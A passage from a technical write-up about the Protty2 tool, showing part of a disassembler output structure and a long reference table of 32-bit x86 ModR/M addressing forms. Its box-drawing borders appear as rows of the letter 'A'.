OUT DWORD disasm_len; -- total length of opcode or 0
OUT DWORD disasm_flag; -- bitset of C_xxx
OUT DWORD disasm_addrsize; -- size of address (or 0 if no addr)
OUT DWORD disasm_datasize; -- size of data (or 0 if no data)
OUT BYTE disasm_rep; -- REP prefix value (if C_REP)
OUT BYTE disasm_seg; -- SEG prefix value (if C_SEG)
OUT BYTE disasm_opcode; -- opcode value (present if no error)
OUT BYTE disasm_opcode2; -- 2nd opcode value (if C_OPCODE2)
OUT BYTE disasm_modrm; -- MODRM value (if C_MODRM)
OUT BYTE disasm_sib; -- SIB value (if C_SIB)
OUT BYTE disasm_addr[8]; -- address (if disasm_addrsize!=0)
OUT BYTE disasm_data[8]; -- data (if disasm_datasize!=0)
};


To get the registers used by the instruction, we need to check the
disasm_modrm value. Of course there are few exceptions like one-bytes
intructions (no ModR/M) like "lodsb/lodsw/stosb" etc.etc. Protty2 is doing
manual check for them. Sometimes encoding of the ModR/M requires a SIB
byte to fully specify the addressing form. The base+index and scale+index
forms of a 32bit addressing require the SIB byte. This, due to lack of
free time, wasn't implemented in P2, however when the mechanism cannot find
the "registers used" it does some brute-scan and check all registers in
host context (this should cover most of the unknown-cases).


But lets go back to ModR/M-s:

Lets imagine we are disassembling following instruction:
- MOV EAX,DWORD PTR DS:[EBX]

The value returned in disasm_modrm is equal to 03h. By knowing this the
library checks following table (look for 03):


(32-Bit Addressing Forms with the ModR/M Byte Translated Table)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A ModR/M Byte A Src/Dst, Src/Dst Operand
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 00 A [EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 01 A [ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 02 A [EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 03 A [EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 04 A [--][--], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 05 A [disp32], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 06 A [ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 07 A [EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 08 A [EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 09 A [ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0A A [EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0B A [EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0C A [--][--], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0D A [disp32], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0E A [ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0F A [EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 10 A [EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 11 A [ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 12 A [EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 13 A [EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 14 A [--][--], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 15 A [disp32], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 16 A [ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 17 A [EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 18 A [EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 19 A [ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1A A [EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1B A [EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1C A [--][--], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1D A [disp32], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1E A [ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1F A [EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 20 A [EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 21 A [ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 22 A [EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 23 A [EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 24 A [--][--], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 25 A [disp32], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 26 A [ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 27 A [EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 28 A [EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 29 A [ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2A A [EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2B A [EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2C A [--][--], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2D A [disp32], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2E A [ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2F A [EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 30 A [EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 31 A [ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 32 A [EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 33 A [EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 34 A [--][--], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 35 A [disp32], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 36 A [ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 37 A [EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 38 A [EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 39 A [ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3A A [EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3B A [EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3C A [--][--], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3D A [disp32], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3E A [ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3F A [EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 40 A [disp8+EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 41 A [disp8+ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 42 A [disp8+EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 43 A [disp8+EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 44 A [disp8+[--][--]], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 45 A [disp8+EBP], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 46 A [disp8+ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 47 A [disp8+EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 48 A [disp8+EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 49 A [disp8+ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4A A [disp8+EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4B A [disp8+EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4C A [disp8+[--][--]], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4D A [disp8+EBP], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4E A [disp8+ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4F A [disp8+EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 50 A [disp8+EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 51 A [disp8+ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 52 A [disp8+EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 53 A [disp8+EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 54 A [disp8+[--][--]], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 55 A [disp8+EBP], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 56 A [disp8+ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 57 A [disp8+EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 58 A [disp8+EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 59 A [disp8+ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5A A [disp8+EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5B A [disp8+EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5C A [disp8+[--][--]], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5D A [disp8+EBP], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5E A [disp8+ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5F A [disp8+EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 60 A [disp8+EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 61 A [disp8+ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 62 A [disp8+EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 63 A [disp8+EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 64 A [disp8+[--][--]], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 65 A [disp8+EBP], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 66 A [disp8+ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 67 A [disp8+EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 68 A [disp8+EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 69 A [disp8+ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6A A [disp8+EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6B A [disp8+EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6C A [disp8+[--][--]], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6D A [disp8+EBP], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6E A [disp8+ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6F A [disp8+EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 70 A [disp8+EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 71 A [disp8+ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 72 A [disp8+EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 73 A [disp8+EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 74 A [disp8+[--][--]], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 75 A [disp8+EBP], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 76 A [disp8+ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 77 A [disp8+EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 78 A [disp8+EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 79 A [disp8+ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7A A [disp8+EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7B A [disp8+EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7C A [disp8+[--][--]], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7D A [disp8+EBP], EDI/DI/BH

  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7E A [disp8+ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7F A [disp8+EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 80 A [disp32+EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 81 A [disp32+ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 82 A [disp32+EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 83 A [disp32+EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 84 A [disp32+[--][--]], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 85 A [disp32+EBP], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 86 A [disp32+ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 87 A [disp32+EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 88 A [disp32+EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 89 A [disp32+ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8A A [disp32+EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8B A [disp32+EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8C A [disp32+[--][--]], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8D A [disp32+EBP], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8E A [disp32+ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8F A [disp32+EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 90 A [disp32+EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 91 A [disp32+ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 92 A [disp32+EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 93 A [disp32+EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 94 A [disp32+[--][--]], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 95 A [disp32+EBP], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 96 A [disp32+ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 97 A [disp32+EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 98 A [disp32+EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 99 A [disp32+ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9A A [disp32+EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9B A [disp32+EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9C A [disp32+[--][--]], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9D A [disp32+EBP], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9E A [disp32+ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9F A [disp32+EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A0 A [disp32+EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
